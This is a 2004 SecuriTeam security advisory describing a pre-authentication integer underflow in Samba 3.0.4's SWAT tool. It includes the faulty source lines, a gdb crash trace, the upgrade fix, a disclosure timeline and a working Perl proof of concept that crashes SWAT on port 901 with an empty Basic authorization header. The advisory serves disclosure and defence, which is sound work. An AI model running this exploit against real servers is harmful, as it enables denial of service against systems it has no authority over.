

[UNIX] Samba 3.x SWAT Preauthentication Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0085.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/22/04

To: list@securiteam.com

Date: 22 Jul 2004 20:16:19 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.secureteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.secureteam.com/maillinglist.html>

Samba 3.x SWAT Preauthentication Buffer Overflow

SUMMARY

<<http://www.samba.org/>> SWAT is a "Samba Web Administration Tool", there exists a remote pre-authentication buffer overflow in Samba 3.x SWAT administration service.

DETAILS

Vulnerable Systems:

- * Samba version 3.0.4 and prior

Immune Systems:

- * Samba version 3.0.5 or newer

Technical details:

In the source/lib/util_str.c file the function base64_decode_data_blob has the following lines:

```
int bit_offset, byte_offset, idx, i, n;
```

```
..
```

```
..
```

```
if (*s == '=') n -- 1
```

Securiteam: [UNIX] Samba 3.x SWAT Preauthentication Buffer Overflow

```
/* fix up length */  
decoded.length = n;  
return decoded;
```

As can be seen 'n' is defined as int. And if the character '=' is the last one to arrive, we deduct 1 from the value of 'n'. This logic causes a problem if no incoming data arrives (beside the character '='), or none of it is relevant to the base64 decoding, as the number 1 will be deducted from the number 0, causing an underflow of the integer.

As this integer is then used as the value for decoded.length that is used in by the following code:

```
DATA_BLOB decoded = base64_decode_data_blob(s);  
memcpy(s, decoded.data, decoded.length);  
/* null terminate */  
s[decoded.length] = '\0';
```

The following fault occurs:

```
Program received signal SIGSEGV, Segmentation fault.  
[Switching to process 30853]  
0x410957af in memcpy () from /lib/tls/libc.so.6  
(gdb) bt  
#0 0x410957af in memcpy () from /lib/tls/libc.so.6  
#1 0xbffff340 in ?? ()  
#2 0x00000001 in ?? ()  
#3 0x080e34e7 in ?? ()  
#4 0xbffff5e5 in ?? ()  
#5 0x082919a0 in ?? ()  
#6 0xffffffff in ?? ()  
#7 0x080e08f0 in ?? ()
```

Fix:

Upgrade to Samba 3.0.5 which fixes this problem is available:
<<http://www.samba.org/samba/whatsnew/samba-3.0.5.html>>
<http://www.samba.org/samba/whatsnew/samba-3.0.5.html>

History:

28 April 2004 – vulnerability has been discovered during Samba source code audit by Evgeny Demidov
29 April 2004 – vulnerability details has been made available to VulnDisco clients
14 July 2004 – vulnerability has been reported to Samba Team
22 July 2004 – public release of the advisory

Exploit:

The following brief proof of concept will crash the SWAT server with a SIGSEGV:

```
#!/usr/bin/perl  
# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow  
# Created by Noam Rathaus of Beyond Security Ltd.  
#
```

Securiteam: [UNIX] Samba 3.x SWAT Preauthentication Buffer Overflow

```
use IO::Socket;
use strict;

my $host = $ARGV[0];

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "901" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "connected\n";

$remote->autoflush(1);

my $http = "GET / HTTP/1.1\r
Host: $host:901\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712
Firefox/0.9.1\r
Accept: text/xml\r
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Authorization: Basic =\r
\r
";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

while (<$remote>)
{
    print $_;
}
print "\n";

close $remote;
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:demidov@gleg.net> Evgeny Demidov.

The technical details and exploit code have been provided by <expert@securiteam.com> Noam Rathaus.

=====

Securiteam: [UNIX] Samba 3.x SWAT Preauthentication Buffer Overflow

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.